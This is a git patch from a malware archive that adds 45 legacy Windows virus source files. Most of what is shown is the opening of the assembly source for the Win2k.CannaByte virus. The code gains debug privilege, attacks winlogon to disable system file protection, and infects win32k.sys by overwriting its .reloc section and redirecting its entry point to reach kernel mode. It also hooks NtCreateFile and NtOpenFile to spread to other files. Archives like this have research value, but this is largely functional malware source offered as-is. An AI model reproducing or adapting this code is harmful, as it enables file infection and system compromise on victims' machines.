From cb8e4ddb00c5369a6045959f89cc59a1f265cbf2 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Fri, 9 Oct 2020 21:54:36 -0500 Subject: [PATCH] Add files via upload --- LegacyWindows/Win2k.CannaByte.asm | 2480 +++++++++ LegacyWindows/Win2k.CannaByte.v2.asm | 2939 +++++++++++ LegacyWindows/Win2k.DOB.asm | 1062 ++++ LegacyWindows/Win2k.Joss.asm | 715 +++ LegacyWindows/Win2k.Ketamine.asm | 547 ++ LegacyWindows/Win2k.Society.3434.asm | 2557 +++++++++ LegacyWindows/Win2k.Stream.asm | 634 +++ LegacyWindows/Win2k.TaiChi.asm | 31 + LegacyWindows/Win32.FirstBorn.txt | 542 ++ LegacyWindows/Win95.Altar.asm | 539 ++ LegacyWindows/Win95.Babylonia.11036.asm | 3247 ++++++++++++ LegacyWindows/Win95.Bonk32.asm | 556 ++ LegacyWindows/Win95.Boobs.asm | 1586 ++++++ LegacyWindows/Win95.Espore.asm | 136 + LegacyWindows/Win95.Estukista.asm | 231 + LegacyWindows/Win95.Etymo-Crypt.asm | 709 +++ LegacyWindows/Win95.Henze.asm | 523 ++ LegacyWindows/Win95.IceHeart.asm | 285 + LegacyWindows/Win95.Inca.asm | 2929 +++++++++++ LegacyWindows/Win95.Invirsible.asm | 4173 +++++++++++++++ LegacyWindows/Win95.K32.asm | 744 +++ LegacyWindows/Win95.Lizard.asm | 627 +++ LegacyWindows/Win95.Mad.2736.asm | 525 ++ LegacyWindows/Win95.Marburg.asm | 3984 ++++++++++++++ LegacyWindows/Win95.Matrix.asm | 2482 +++++++++ LegacyWindows/Win95.Molly.725.asm | 540 ++ LegacyWindows/Win95.Obsolete.asm | 854 +++ LegacyWindows/Win95.Radix.asm | 238 + LegacyWindows/Win95.Sk.asm | 1133 ++++ LegacyWindows/Win95.Unreal.asm | 1660 ++++++ LegacyWindows/Win95.Yildiz.asm | 336 ++ LegacyWindows/Win95.Zombie.asm | 979 ++++ LegacyWindows/Win98.BeGemot.8192.asm | 6290 +++++++++++++++++++++++ LegacyWindows/Win98.BlackBat.asm | 1936 +++++++ LegacyWindows/Win98.Milennium.asm | 1537 ++++++ LegacyWindows/Win98.Priest.asm | 495 ++ LegacyWindows/Win98.Yobe.24576.asm | 1044 ++++ LegacyWindows/Win9x.DarkMillennium.asm | 2248 ++++++++ LegacyWindows/Win9x.Estukista.asm | 231 + LegacyWindows/Win9x.Noise.asm | 276 + LegacyWindows/Win9x.Repus.asm | 212 + LegacyWindows/Win9x.Sentinel.asm | 2690 ++++++++++ LegacyWindows/Win9x.Society.3434.asm | 2557 +++++++++ LegacyWindows/Win9x.Wiedzmin.asm | 2404 +++++++++ LegacyWindows/WinCE.Dust.TXT | 685 +++ 45 files changed, 63128 insertions(+) create mode 100644 LegacyWindows/Win2k.CannaByte.asm create mode 100644 LegacyWindows/Win2k.CannaByte.v2.asm create mode 100644 LegacyWindows/Win2k.DOB.asm create mode 100644 LegacyWindows/Win2k.Joss.asm create mode 100644 LegacyWindows/Win2k.Ketamine.asm create mode 100644 LegacyWindows/Win2k.Society.3434.asm create mode 100644 LegacyWindows/Win2k.Stream.asm create mode 100644 LegacyWindows/Win2k.TaiChi.asm create mode 100644 LegacyWindows/Win32.FirstBorn.txt create mode 100644 LegacyWindows/Win95.Altar.asm create mode 100644 LegacyWindows/Win95.Babylonia.11036.asm create mode 100644 LegacyWindows/Win95.Bonk32.asm create mode 100644 LegacyWindows/Win95.Boobs.asm create mode 100644 LegacyWindows/Win95.Espore.asm create mode 100644 LegacyWindows/Win95.Estukista.asm create mode 100644 LegacyWindows/Win95.Etymo-Crypt.asm create mode 100644 LegacyWindows/Win95.Henze.asm create mode 100644 LegacyWindows/Win95.IceHeart.asm create mode 100644 LegacyWindows/Win95.Inca.asm create mode 100644 LegacyWindows/Win95.Invirsible.asm create mode 100644 LegacyWindows/Win95.K32.asm create mode 100644 LegacyWindows/Win95.Lizard.asm create mode 100644 LegacyWindows/Win95.Mad.2736.asm create mode 100644 LegacyWindows/Win95.Marburg.asm create mode 100644 LegacyWindows/Win95.Matrix.asm create mode 100644 LegacyWindows/Win95.Molly.725.asm create mode 100644 LegacyWindows/Win95.Obsolete.asm create mode 100644 LegacyWindows/Win95.Radix.asm create mode 100644 LegacyWindows/Win95.Sk.asm create mode 100644 LegacyWindows/Win95.Unreal.asm create mode 100644 LegacyWindows/Win95.Yildiz.asm create mode 100644 LegacyWindows/Win95.Zombie.asm create mode 100644 LegacyWindows/Win98.BeGemot.8192.asm create mode 100644 LegacyWindows/Win98.BlackBat.asm create mode 100644 LegacyWindows/Win98.Milennium.asm create mode 100644 LegacyWindows/Win98.Priest.asm create mode 100644 LegacyWindows/Win98.Yobe.24576.asm create mode 100644 LegacyWindows/Win9x.DarkMillennium.asm create mode 100644 LegacyWindows/Win9x.Estukista.asm create mode 100644 LegacyWindows/Win9x.Noise.asm create mode 100644 LegacyWindows/Win9x.Repus.asm create mode 100644 LegacyWindows/Win9x.Sentinel.asm create mode 100644 LegacyWindows/Win9x.Society.3434.asm create mode 100644 LegacyWindows/Win9x.Wiedzmin.asm create mode 100644 LegacyWindows/WinCE.Dust.TXT diff --git a/LegacyWindows/Win2k.CannaByte.asm b/LegacyWindows/Win2k.CannaByte.asm new file mode 100644 index 00000000..6a3df693 --- /dev/null +++ b/LegacyWindows/Win2k.CannaByte.asm @@ -0,0 +1,2480 @@ + +;win2k.CannaByte coded by vallez +; +;IMPORTANT: THIS CODE IS ONLY FOR READ AND IF YOU WANT TEST IT. IM NOT RESPONSABLE IF YOU +;USE IT FOR BAD THINGS. IN ADDITION NOW THE VIRUS WILL INFECT WIN32K.SYS AND WILL HOOK +;THE APIS BUT IT WILL INFECT ONLY ZZZ.EXE FILE SO FOR IT WORKS FULLY IT MUST BE MODIFIED. +;When a infected file arrives to a system it will infect the system. +;The expansion method will be to intercept NtCreateFile and NtOpenFile in SSDT, +;and infect all files that will be opened. +;For that propose,the virus will try to go ring0 and intercept there system calls. +;For going to ring0 virus will infect win32k.sys and in the next restart the virus will +;be loaded in ring0. +;Ill no explain lot of more things here coz virus is very commented so its easily +;understandable. +;THX TO: +;-As always Xezaw :) my dear m3nt0r ;) (THE BEST m3nt0r) I must say u thx coz that lot of +;patience that u had haven with me :) im a "ceporro" (i dont know how to say this in +;english xDD) +;-My second dear m3nt0r :) mscorlib. How its possible u know all things i ask u? O_O xDD +;Thx coz this virus is a half ur virus :) +;-VirusBust :) a good friend who helped me a lot of too. +;-Pato,Nigthmare,isotope,ViR[-_-],magics,MrHangman,Oyzzo,kernel32 My best friends :) +;-Nmt and remains, ur articles have helped me lot of :) +;-GriYo who always helped me too a lot of :) when i have needed. +;-Ratter&Benny: i dont know u but i must say ur articles and virus codes have helped me +;lot of very much. +;-Well,"THX TO" part is the more difficult part to code coz always u will forget to thx +;somebody so i must say thx all people that i forget to put here :) +;-And OfCorz a infinitely BIG THX TO 'Lady Marian' :********************* U r resident +;in my memory all time :D + + +.586p +.model flat,stdcall + +extrn ExitProcess:proc +extrn GetLastError:proc +extrn GetModuleHandleA:proc + + +;29a files +include mz.inc +include pe.inc +include win32api.inc +include useful.inc + + +;macros + +;;;;;;;;;;;;;;;;;;;;;;; +callz macro dir_call +db 0E8h +dd (dir_call - $ - 4) +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +jmpz macro dir_call +db 0E9h +dd (dir_call - $ -4) +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +CalcLenString macro +local loopin +push esi +dec esi +loopin: +inc esi +cmp byte ptr[esi],0 +jne loopin +mov ecx,esi +pop esi +sub ecx,esi +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +GezApi macro BaseKernel,ApiCRC,ApiNameLen +mov eax,BaseKernel +mov edx,ApiCRC +mov ebx,ApiNameLen +callz GetApi +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +GezSyscall macro BaseNtdll,ApiCRC,ApiNameLen +GezApi BaseNtdll,ApiCRC,ApiNameLen +mov eax,[eax + 1] +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +syscallz macro fc,paramz ;from Ratter's win2k.Joss +mov eax,fc +lea edx,[esp] +int 2eh +add esp,(paramz*4) +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +Writez macro BaseKernel,hProcess,OffsetInProc,Buffer,Size +push 0 +mov [esp],esp ;for storing number of writted bytes +push Size +push Buffer +push OffsetInProc +push hProcess +GezApi BaseKernel,WriteMemoryProcessCRC,WMPNameLen +call eax +endm +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size +push 0 +mov [esp],esp ;for storing number of read bytes +push Size +push Buffer +push OffsetInProc +push hProcess +GezApi BaseKernel,ReadMemoryProcessCRC,RMPNameLen +call eax +endm +;;;;;;;;;;;;;;;;;;;;;;; + + +;APIS'S NAMES CRCS AND LENGHTS + +LoadLibraryACRC equ 3fc1bd8dh +LLNameLen equ 12 +CloseHandleCRC equ 0b09315f4h +CHNameLen equ 11 +FindFirstFileACRC equ 0c9ebd5ceh +FFFNameLen equ 14 +FindNextFileACRC equ 75272948h +FNFNameLen equ 13 +FindCloseCRC equ 0d82bf69ah +FCNameLen equ 9 +GetTickCountCRC equ 5b4219f8h +GTCNameLen equ 12 +WriteMemoryProcessCRC equ 4f58972eh +WMPNameLen equ 18 +ReadMemoryProcessCRC equ 0f7c7ae42h +RMPNameLen equ 17 +ResumeThreadCRC equ 3872beb9h +RTNameLen equ 12 +ExitProcessCRC equ 251097CCh +EPNameLen equ 11 +SetFileAttributesACRC equ 156b9702h +SFANameLen equ 18 +CreateFileACRC equ 553b5c78h +CFNameLen equ 11 +CreateFileMappingACRC equ 0b41b926ch +CFMNameLen equ 18 +MapViewOfFileCRC equ 0A89b382fh +MVFNameLen equ 13 +UnmapViewOfFileCRC equ 391ab6afh +UVFNameLen equ 15 +SetFileTimeCRC equ 21804a03h +SFTNameLen equ 11 +GetModuleHandleACRC equ 0B1866570h +GMHNameLen equ 16 +GetLastErrorCRC equ 0d2e536b7h +GLENameLen equ 12 +RegisterServiceProcessCRC equ 3b5ef61fh +RSPNameLen equ 22 +SetCurrentDirectoryACRC equ 69b6849fh +SCDNameLen equ 20 +GetCurrentDirectoryACRC equ 0c79dc4e3h +GCDNameLen equ 20 +GetWindowsDirectoryACRC equ 0fff372beh +GWDNameLen equ 20 +GetModuleFileNameACRC equ 08bff7a0h +GMFNNameLen equ 18 +CreateProcessACRC equ 0a851d916h +CPNameLen equ 14 +Module32FirstCRC equ 38891c00h +M32FNameLen equ 13 +Module32NextCRC equ 0f6911852h +M32NNameLen equ 12 +CreateToolhelp32SnapShotCRC equ 0c1f3b876h +CT32SNameLen equ 24 +VirtualProtectExCRC equ 5d180413h +VPNameLen equ 16 +GetCurrentProcessCRC equ 0d0861aa4h +GCPNameLen equ 17 +OpenProcessTokenCRC equ 0f9c60615h +OPTNameLen equ 16 +LookupPrivilegeValueACRC equ 0da87bf62h +LPVNameLen equ 21 +AdjustTokenPrivilegesCRC equ 0de3e5cfh +ATPNameLen equ 21 +EnumProcessesCRC equ 0509a21ch +EPSNameLen equ 13 +EnumProcessModulesCRC equ 0dea82ac2h +EPMNameLen equ 18 +GetModuleInformationCRC equ 0f2a84636h +GMINameLen equ 20 +SuspendThreadCRC equ 0bd76ac31h +STNameLen equ 13 +FreeLibraryCRC equ 0da68238fh +FLNameLen equ 11 +GetVersionCRC equ 4ccf1a0fh +GVNameLen equ 10 +RasDialACRC equ 0b88da156h +RDNameLen equ 8 +GetModuleBaseNameACRC equ 1720513eh +GMBNNameLen equ 18 +OpenProcessCRC equ 0df27514bh +OPNameLen equ 11 +ZwConnectPortCRC equ 0cbaec255h +ZCPNameLen equ 13 +NtConnectPortCRC equ 0c88edce9h +NCPNameLen equ 13 +ZwRequestPortCRC equ 0e28aebd1h +ZRPNameLen equ 13 +DbgUiConnectToDbgCRC equ 09a51ac3ah +DUCTDNameLen equ 17 +DbgSsInitializeCRC equ 0d198b351h +DSINameLen equ 15 +DbgSsHandleKmApiMsgCRC equ 2e9c4e99h +DSHKAMNameLen equ 19 +GetCurrentProcessIdCRC equ 1db413e3h +GCPINameLen equ 19 +GetCurrentThreadIdCRC equ 8df87e63h +GCTINameLen equ 18 +WaitForDebugEventCRC equ 96ab83a1h +WFDENameLen equ 17 +ContinueDebugEventCRC equ 0d8e77e49h +CDENameLen equ 18 +VirtualAllocExCRC equ 0e62e824dh +VANameLen equ 14 +CreateRemoteThreadCRC equ 0ff808c10h +CRTNameLen equ 18 +NtTerminateProcessCRC equ 94fcb0c0h +NTPNameLen equ 18 +ExitThreadCRC equ 80af62e1h +ETNameLen equ 10 +GetCurrentDirectoryWCRC equ 334971b2h +GCDWNameLen equ 20 +FindFirstFileWCRC equ 3d3f609fh +FFFWNameLen equ 14 +SleepCRC equ 0cef2eda8h +SNameLen equ 5 +MoveFileACRC equ 0de9ff0d1h +MFNameLen equ 9 +MapFileAndCheckSumACRC equ 462eeff7h +MFACSNameLen equ 19 +CheckSumMappedFileCRC equ 0bbb4966eh +CSMFNameLen equ 18 +CopyFileACRC equ 0199dc99h +CpFNameLen equ 9 +KeServiceDescriptorTableCRC equ 32a4d557h +KSDTNameLen equ 24 +NtCreateFileCRC equ 3ee6cc56h +NCFNameLen equ 12 +ZwOpenFileCRC equ 0b679c176h +ZOFNameLen equ 10 +ZwOpenSectionCRC equ 73bdfd70h +ZOSNameLen equ 13 +ZwMapViewOfSectionCRC equ 0d287ee26h +ZMVOSNameLen equ 18 +ZwCloseCRC equ 180c0d23h +ZCNameLen equ 7 +ZwCreateSectionCRC equ 2c919477h +ZCSNameLen equ 15 +ZwUnmapViewOfSectionCRC equ 9d35f923h +ZUVOSNameLen equ 20 +NtOpenFileCRC equ 0a1b1dc21h +NOFNameLen equ 10 +ZwDeleteFileCRC equ 6967772dh +ZDFNameLen equ 12 +DeleteFileACRC equ 919b6bcbh +DFNameLen equ 11 + +Kernel32CRC equ 204c64e5h ;CRC of 'kernel32' string + + +TOKEN_PRIVILEGES struc +TP_count dd ? +TP_luid dq ? +TP_attribz dd ? +TOKEN_PRIVILEGES ends + + +unicode_string struc + us_Length dw ? + us_MaximumLength dw ? + us_Buffer dd ? +unicode_string ends + + +objects_attributes struc + oa_length dd ? ;lenght of this structure + oa_rootdir dd ? + oa_objectname dd ? ;name of the object + oa_attribz dd ? ;attributes of the object + oa_secdesc dd ? + oa_secqos dd ? +objects_attributes ends + + +pio_status struc + ps_ntstatus dd ? + ps_info dd ? +pio_status ends + + +TOKEN_ASSIGN_PRIMARY equ 00000001h +TOKEN_DUPLICATE equ 00000002h +TOKEN_IMPERSONATE equ 00000004h +TOKEN_QUERY equ 00000008h +TOKEN_QUERY_SOURCE equ 00000010h +TOKEN_ADJUST_PRIVILEGES equ 00000020h +TOKEN_ADJUST_GROUPS equ 00000040h +TOKEN_ADJUST_DEFAULT equ 00000080h +TOKEN_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED or \ + TOKEN_ASSIGN_PRIMARY or \ + TOKEN_DUPLICATE or \ + TOKEN_IMPERSONATE or \ + TOKEN_QUERY or \ + TOKEN_QUERY_SOURCE or \ + TOKEN_ADJUST_PRIVILEGES or \ + TOKEN_ADJUST_GROUPS or \ + TOKEN_ADJUST_DEFAULT +SE_PRIVILEGE_ENABLED equ 00000002h +CHECKSUM_SUCCESS equ 00000000h +CHECKSUM_OPEN_FAILURE equ 00000001h +CHECKSUM_MAP_FAILURE equ 00000002h +CHECKSUM_MAPVIEW_FAILURE equ 00000003h +CHECKSUM_UNICODE_FAILURE equ 00000004h +OBJ_CASE_INSENSITIVE equ 00000040h +FILE_DIRECTORY_FILE equ 00000001h +FILE_WRITE_THROUGH equ 00000002h +FILE_SEQUENTIAL_ONLY equ 00000004h +FILE_NO_INTERMEDIATE_BUFFERING equ 00000008h +FILE_SYNCHRONOUS_IO_ALERT equ 00000010h +FILE_SYNCHRONOUS_IO_NONALERT equ 00000020h +FILE_NON_DIRECTORY_FILE equ 00000040h +FILE_CREATE_TREE_CONNECTION equ 00000080h +FILE_COMPLETE_IF_OPLOCKED equ 00000100h +FILE_NO_EA_KNOWLEDGE equ 00000200h +FILE_OPEN_FOR_RECOVERY equ 00000400h +FILE_RANDOM_ACCESS equ 00000800h +FILE_DELETE_ON_CLOSE equ 00001000h +FILE_OPEN_BY_FILE_ID equ 00002000h +FILE_OPEN_FOR_BACKUP_INTENT equ 00004000h +FILE_NO_COMPRESSION equ 00008000h +FILE_RESERVE_OPFILTER equ 00100000h +FILE_OPEN_REPARSE_POINT equ 00200000h +FILE_OPEN_NO_RECALL equ 00400000h +FILE_OPEN_FOR_FREE_SPACE_QUERY equ 00800000h +FILE_COPY_STRUCTURED_STORAGE equ 00000041h +FILE_STRUCTURED_STORAGE equ 00000441h +FILE_VALID_OPTION_FLAGS equ 00ffffffh +FILE_VALID_PIPE_OPTION_FLAGS equ 00000032h +FILE_VALID_MAILSLOT_OPTION_FLAGS equ 00000032h +FILE_VALID_SET_FLAGS equ 00000036h +FILE_SHARE_READ equ 00000001h +FILE_SHARE_WRITE equ 00000002h +FILE_READ_DATA equ 00000001h +FILE_WRITE_DATA equ 00000002h +FILE_APPEND_DATA equ 00000004h +FILE_OPEN_IF equ 00000003h +FILE_OPEN equ 00000001h +FILE_NON_DIRECTORY_FILE equ 00000040h +STATUS_SUCCESS equ 00000000h +SEC_COMMIT equ 08000000h +SECTION_QUERY equ 00000001h +SECTION_MAP_WRITE equ 00000002h +SECTION_MAP_READ equ 00000004h +SECTION_MAP_EXECUTE equ 00000008h +SECTION_EXTEND_SIZE equ 00000010h +STANDART_RIGTHS_REQUIRED equ 000F0000h + +STARTUPINFOSIZE equ 68 +PROCESSINFORMATIONSIZE equ 16 +cPushfd equ 4 +tamvirus = evirus - svirus + + +.data; +;;;;;; + +az db 'DeleteFileA',0 +azz db 'ZwUnmapViewOfSection',0 +vallez db 'vallez for 29a',0 + + +.code; +;;;;;; + +start: +;;;;;; + +;first generation codevvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + + +mov eax,12345678h + + +lea esi,az +CalcLenString +mov edi,ecx +call CRC32 +lea esi,azz +CalcLenString +mov edi,ecx +call CRC32 + +;unprotection of code for first gen +@pushsz "kernel32.dll" +call GetModuleHandleA +mov esi,offset svirus +mov ecx,evirus - svirus +xor ebx,ebx +callz UnprotectMem +;This small code will move all code 1 byte up for simulate second gen... +lea edi,[evirus] +mov esi,edi +dec esi +mov ecx,evirus-svirus +std +;rep movsb +cld +;mov byte ptr[svirus],90h + +;first generation code^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + + + + +;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + + +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +svirus: + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;Entry Point Of Virus when is executed In ring3. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +EPointFile: + +;;;;;;;;;;;;;;;;;;;;;;;; +call d_offset ;I calculate delta offset +d_offset: +pop ebp +sub ebp,offset d_offset +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;; +pop eax ;Ill get kernel address +push eax +xor ax,ax +add eax,1000h +;eax -> a part of kernel32 +SearchKernel: +sub eax,1000h +cmp word ptr [eax],'ZM' +jne SearchKernel +;eax -> base of kernel32 +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +push eax ;i have unprotected the memory of code of virus +lea esi,[ebp + svirus] +mov ecx,tamvirus +xor ebx,ebx +callz UnprotectMem +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +pop eax ;I get other used librarys +mov [ebp + NtKernel],eax +callz GetLibrarys +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtKernel] ;Ill keep the current directory +GezApi eax,GetCurrentDirectoryACRC,GCDNameLen +lea ebx,[ebp + CurDir] +push ebx +push 256 +call eax;we keep current dir for restoring +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ecx,cs ;The virus will work in win2k only +xor cl,cl +or ecx,ecx +jne Exit +mov eax,[ebp + NtKernel] ;Im in NT but i want win2k... +GezApi eax,GetVersionCRC,GVNameLen +call eax +test eax,80000000h +jnz Exit +cmp al,5 ;i test for win2k(i think XP is 5 too) +jne Exit +;Im not sure if this will work in NT previous machines perhaps but ill code for win2k. +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtKernel] ;we go to system32 directory first +GezApi eax,GetWindowsDirectoryACRC,GWDNameLen +push 256 +lea ebx,[ebp + Buffer] +push ebx +call eax +lea esi,[ebp + Buffer] +CalcLenString +mov edi,esi +add edi,ecx +mov al,'\' +stosb +mov eax,'tsys' +stosd +mov eax,'23me' +stosd +xor al,al +mov [edi],al +mov eax,[ebp + NtKernel] +GezApi eax,SetCurrentDirectoryACRC,SCDNameLen +lea esi,[ebp + Buffer] +push esi +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;I want to enable Debug privilege for token of this user. touch_privilege was coded by Ratter +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtAdvapi] ;enabling debug privilege for this user +GezApi eax,AdjustTokenPrivilegesCRC,ATPNameLen +mov [ebp + tAdjustTokenPrivileges],eax +mov eax,[ebp + NtKernel] +GezApi eax,CloseHandleCRC,CHNameLen +mov [ebp + tCloseHandle],eax +mov eax,[ebp + NtAdvapi] +GezApi eax,LookupPrivilegeValueACRC,LPVNameLen +mov [ebp + tLookupPrivilegeValueA],eax +mov eax,[ebp + NtAdvapi] +GezApi eax,OpenProcessTokenCRC,OPTNameLen +mov [ebp + tOpenProcessToken],eax +mov eax,[ebp + NtKernel] +GezApi eax,GetCurrentProcessCRC,GCPNameLen +mov [ebp + tGetCurrentProcess],eax +push SE_PRIVILEGE_ENABLED +pop eax +@pushsz "SeDebugPrivilege" +pop esi +call touch_privilege +;;;;;;;;;;;;;;;;;;;;;;;; + +;Now ill disable sfp with Benny&Ratter method +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +callz GetWinlogon ;I have debug priv so ill disable sfc with benny&ratter method +or eax,eax +jnz Exit +callz AttackWinlogon +or eax,eax +jnz Exit +;;;;;;;;;;;;;;;;;;;;;;;; + + +;Now infection of win32k.sys +;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + +;U will see in this part lot of move and copy files but i do it for ensuring the +;perfect working of the virus...I had some problems with sfc disabling due this code +;was executed before sfc disabling code so finally win32k.sys was not infected the first +;time that virus was executed in that system uninfected still...but i have correct that +;problem doing some movings and copyings of files...that file here,that file there and +;virus works perfectly now ;P + + + +;;;;;;;;;;;;;;;;;;;;;;;; +lea eax,[ebp + _WIN32_FIND_DATA] ;Search win32k.sy +push eax +lea eax,[ebp + win32ksy] +push eax +mov eax,[ebp + NtKernel] +GezApi eax,FindFirstFileACRC,FFFNameLen +call eax +cmp eax,0FFFFFFFFh +je NoWin32sySoContinue +push eax +mov eax,[ebp + NtKernel] +GezApi eax,FindCloseCRC,FCNameLen +call eax +lea esi,[ebp + win32ksys] +push esi +mov eax,[ebp + NtKernel] ;deleting win32k.sys if it would exist +GezApi eax,DeleteFileACRC,DFNameLen +call eax +mov eax,[ebp + NtKernel] ;renaming win32k.sy to win32k.sys +GezApi eax,MoveFileACRC,MFNameLen +lea esi,[ebp + win32ksys] +push esi +lea esi,[ebp + win32ksy] +push esi +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +NoWin32sySoContinue: +mov eax,[ebp + NtKernel] ;we copy win32k.sys to win32k.fuck +GezApi eax,CopyFileACRC,CpFNameLen +push 0 +lea esi,[ebp + win32kfuck] +push esi +lea esi,[ebp + win32ksys] +push esi +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;Why of this?: +;The original win32k.sys is been used by the system so we can modify it...however we can +;change its name. We copy it to win32k.fuck and infect the .fuck file... +;later we renaming win32k.sys to win32k.sy and win32k.fuck to win32k.sys +;and this new win32k.sys will be loaded in ring0 the next time that system reboot. +;i copy .sys to .fuck for no infecting directly over win32k.sys +;coz i had problems...i tried to infect directly over win32k.sys but sometimes(lot of times) +;when i called functions as CreateFile or others, i got this error from GetLastError: +;32(20h)(The process cannot access the file because it is being used by another process) +;I supposed that win32k.sys is a file used lot of times and if i infected directly over +;win32k.sys i would get this error lot of times....so finally i decided to do a copy +;named win32k.fuck for later renaming this file to win32k.sys when already infected. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;Now ill infect win32k.fuck +;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +lea eax,[ebp + _WIN32_FIND_DATA] ;Mapping win32k.fuck +push eax +lea eax,[ebp + win32kfuck] +push eax +mov eax,[ebp + NtKernel] +GezApi eax,FindFirstFileACRC,FFFNameLen +call eax +mov [ebp + SearchHand],eax +cmp eax,0FFFFFFFFh +je Exit +callz MapFile +or eax,eax +jz Exit +;;;;;;;;;;;;;;;;;;;;;;;; + + +;INFECTION OF WIN32K.FUCK +;;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + ViewHandle] ;a simple infection overwriting reloc section +mov edx,eax +mov ebx,[eax + 3ch] +add eax,ebx +;eax -> PE +mov bx,word ptr [eax + 8] +cmp bx,'zv' +je StopInfection ;becoz already Infected +mov word ptr [eax + 8],'zv' ;a small mark ;) +mov ebx,[eax + 28h] ;EPoint of win32k.sys +mov [ebp + EntryPointWin32ksys],ebx +xor ecx,ecx +mov cx,word ptr [eax + 6] +dec ecx +mov ebx,eax +add ebx,0F8h ;sections +GoToLastSection: +add ebx,28h +loop GoToLastSection +;ebx -> .reloc ;over-reloc infection of win32k.sys +cmp [ebx],'ler.' +jne StopInfection +mov dword ptr [ebx + 24h],040000040h ;reloc not discardable,readable,writable +mov ecx,[ebx + 10h] +cmp ecx,tamvirus +jb StopInfection + +;i change entry point of win32k.sys + +mov edi,[ebx + 0ch] +add edi,EPointSystem - svirus +mov [eax + 28h],edi ;RVA new entry point for win32k.sys + +;ill copy the code overwriting .reloc + +mov edi,[ebx + 14h] +add edi,edx +lea esi,[ebp + svirus] +mov ecx,tamvirus +rep movsb +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,'vzvz' +StopInfection: ;Unmmaping win32k.fuck +push eax +callz CloseAll +pop eax +cmp eax,'vzvz' +jne SysAlreadyInfected +;;;;;;;;;;;;;;;;;;;;;;;; + + +;IMPORTANT: I MUST CORRECT WIN32K.FUCK HEADER CKSUM AFTER INFECTION OR SYSTEM WILL NOT START 